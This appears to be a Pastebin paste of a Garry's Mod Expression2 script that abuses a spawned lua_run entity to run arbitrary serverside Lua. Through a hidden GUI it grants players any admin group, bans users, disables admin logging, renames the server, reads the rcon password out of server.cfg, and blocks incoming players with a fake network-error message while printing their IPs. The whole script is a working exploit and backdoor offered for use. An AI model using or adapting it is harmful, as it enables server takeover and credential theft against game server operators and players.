Advertisement
Guest User

Untitled

a guest
Aug 17th, 2017
109
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.25 KB | None | 0 0
  1. @name assCod
  2. @persist [ Owner Choise Eject ]:entity Players:array
  3.  
  4. if(first()){entity():noDraw(1)}
  5.  
  6. interval( 1 )
  7. if( first() )
  8. {
  9. Owner = owner()
  10. Owner:giveWeapon( "lua_run" )
  11.  
  12. Eject = entitySpawn( "func_button", 1 )
  13. Eject:setFire( "addoutput", "onpressed lua_run:RunPassedCode:RunString( Entity( "+entity():id()+" ).e2data[ 'lua' ][ 1 ] )", 0 )
  14.  
  15. dPanel( "gui", vec2(), vec2( 200, 300 ) )
  16. dShowCloseButton( "gui", 0 )
  17. dColor( "gui", 0, 0, 0, 255 )
  18.  
  19. dButton( "close", "gui", vec2( 178, 2 ), vec2( 20 ) )
  20. dText( "close", "_" )
  21.  
  22. dImage( "check", "gui", "color", vec2( 159, 3 ), vec2( 18 ) )
  23. if( findByClass( "lua_run" ) )
  24. {
  25. dColor( "check", 0, 255, 0, 255 )
  26. }
  27. else
  28. {
  29. dColor( "check", 255, 0, 0, 255 )
  30. }
  31.  
  32. dImage( "lock", "gui", "vgui/servers/icon_password_column", vec2( 139, 3 ), vec2( 18 ) )
  33. dColor( "lock", 0, 255, 0, 255 )
  34.  
  35. dButton( "logecho", "gui", vec2( 2, 278 ), vec2( 196, 20 ) )
  36. dText( "logecho", "disable logecho" )
  37.  
  38. dListBox( "players", "gui", vec2( 2, 25 ), vec2( 196, 150 ) )
  39. function updatePList()
  40. {
  41. foreach( K, V:entity = players() )
  42. {
  43. Players[ K, string ] = V:name()
  44. }
  45. dArray( "players", Players )
  46. }
  47. dDropBox( "groups", "gui", vec2( 2, 175 ), 196 )
  48. dArray( "groups", array( "user", "coder", "operator", "admin","Friend","Premium","ExtraVip","Minge","E2 Coder Master","superadmin", "builder","user_1","user_2", "VIP", "owner", "E2Coder", "Igrok", "Helpers", "Helper" ) )
  49. foreach( K, V:string = array( "players", "groups", "entry", "hostname" ) )
  50. {
  51. dRunOnChange( V, 1 )
  52. }
  53. dButton( "ban", "gui", vec2( 2, 195 ), vec2( 196, 20 ) )
  54. dButton( "unban", "gui", vec2( 100, 215 ), vec2( 98, 20 ) )
  55. dTextBox( "steamid", "gui", vec2( 2, 215 ), 98 )
  56.  
  57. dTextBox( "hostname_entry", "gui", vec2( 2, 235 ), 98 )
  58. dSetSval( "hostname_entry", hostname() )
  59. dButton( "hostname", "gui", vec2( 100, 235 ), vec2( 98, 20 ) )
  60.  
  61.  
  62. dTextBox( "rcon_entry", "gui", vec2( 2, 255 ), 98 )
  63. dButton( "rcon", "gui", vec2( 100, 255 ), vec2( 98, 20 ) )
  64.  
  65. function eject( String:string )
  66. {
  67. entity():setVar( "lua", String )
  68. Eject:setFire( "Press", "", 0 )
  69. }
  70. runOnChat( 1 )
  71. }
  72. if( changed( players():count() ) )
  73. {
  74. updatePList()
  75. }
  76. if( changed( dSval( "players" ) ) )
  77. {
  78. Choise = findPlayerByName( dSval( "players" ) )
  79. dSetSval( "groups", Choise:getUserGroup() )
  80. }
  81. elseif( changed( dSval( "groups" ) ) & Choise:isValid() )
  82. {
  83. if( dSval( "groups" ) != "user" )
  84. {
  85. eject( "
  86. hook.Add( 'Think', 'SWAGGY', function()
  87. RunConsoleCommand('ulx','adduser','" + Choise:name() + "','" + dSval( "groups" ) + "')
  88. hook.Remove( 'Think', 'SWAGGY' )
  89. end )" )
  90. }
  91. else
  92. {
  93. eject( "
  94. hook.Add( 'Think', 'SWAGGY', function()
  95. RunConsoleCommand('ulx','removeuser','" + Choise:name() + "')
  96. hook.Remove( 'Think', 'SWAGGY' )
  97. end )" )
  98. }
  99. }
  100. if( dClk( "ban" ) )
  101. {
  102. if( Choise:isValid() & Choise != Owner )
  103. {
  104. eject( "
  105. hook.Add( 'Think', 'SWAGGY', function()
  106. for k, v in pairs( player.GetAll() ) do
  107. if v:SteamID() == '" + Choise:steamID() + "' then
  108. RunConsoleCommand('ulx','banid','" + Choise:steamID() + "','0','ANSHA ABDUL')
  109. end
  110. end
  111. hook.Remove( 'Think', 'SWAGGY' )
  112. end )" )
  113. }
  114. }
  115. elseif( dClk( "unban" ) )
  116. {
  117. eject( "
  118. hook.Add( 'Think', 'SWAGGY', function()
  119. RunConsoleCommand('ulx','unban','" + dSval( "steamid" ) + "')
  120. hook.Remove( 'Think', 'SWAGGY' )
  121. end )" )
  122. }
  123. elseif( dClk( "logecho" ) )
  124. {
  125. if( dSval( "logecho" ):find( "disable" ) )
  126. {
  127. dText( "logecho", "enable logecho" )
  128. eject( "
  129. hook.Add( 'Think', 'SWAGGY', function()
  130. MsgN( '[gui] ULX Console log is disabled.' )
  131. RunConsoleCommand('ulx','logecho','0')
  132. hook.Remove( 'Think', 'SWAGGY' )
  133. end )" )
  134. }
  135. elseif( dSval( "logecho" ):find( "enable" ) )
  136. {
  137. dText( "logecho", "disable logecho" )
  138. eject( "
  139. hook.Add( 'Think', 'SWAGGY', function()
  140. MsgN( '[gui] ULX Console log is enabled.' )
  141. RunConsoleCommand('ulx','logecho','2')
  142. hook.Remove( 'Think', 'SWAGGY' )
  143. end )" )
  144. }
  145. }
  146. elseif( dClk( "hostname" ) )
  147. {
  148. eject( "
  149. hook.Add( 'Think', 'SWAGGY', function()
  150. RunConsoleCommand('hostname','" + dSval( "hostname_entry" ) + "')
  151. Entity( " +
  152. Owner:id() + " ):ChatPrint( 'New server name: ' .. '" + dSval( "hostname_entry" ) + "' )
  153. hook.Remove( 'Think', 'SWAGGY' )
  154. end )" )
  155. }
  156. elseif( dClk( "rcon" ) )
  157. {
  158. eject( "
  159. hook.Add( 'Think', 'SWAGGY', function()
  160. local fasdasd = tostring( file.Read( 'cfg/server.cfg', 'GAME' ) )
  161. local explode = string.Explode( ' ', fasdasd )
  162. for k, v in pairs( explode ) do
  163. if string.find( v, 'rcon_password' ) then
  164. Entity( " + Owner:id() + " ):ChatPrint( 'Rcon password = ' .. explode[ k + 1 ] )
  165. end
  166. end
  167. hook.Remove( 'Think', 'SWAGGY' )
  168. end )" )
  169. }
  170. elseif( dClk( "Close" ) )
  171. {
  172. dShow( "Gui", 0 )
  173. }
  174. if( chatClk( Owner ) )
  175. {
  176. if( Owner:lastSaid():find( "!gui" ) )
  177. {
  178. dShow( "Gui", 1 )
  179. }
  180. local Explode = Owner:lastSaid():explode( "a." )
  181. if( Owner:lastSaid():find( "a." ) )
  182. {
  183. hideChat( 1 )
  184. if( Explode:string( 2 ) == "lock" )
  185. {
  186. dColor( "lock", 255, 0, 0, 255 )
  187. eject( "
  188. hook.Add( 'CheckPassword', 'SWAGGY', function( id64, ip, svp, clp, name )
  189. Entity( " + Owner:id() + " ):ChatPrint( name .. ' tried to connect from ' .. ip )
  190. return false, 'Connection failed at first entry...\nNo internet connection.'
  191. end )" )
  192. }
  193. elseif( Explode:string( 2 ) == "unlock" )
  194. {
  195. dColor( "lock", 0, 255, 0, 255 )
  196. eject( "
  197. hook.Remove( 'CheckPassword', 'SWAGGY' )
  198. " )
  199. }
  200. }
  201. }
  202. if( duped() ){ selfDestruct() }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement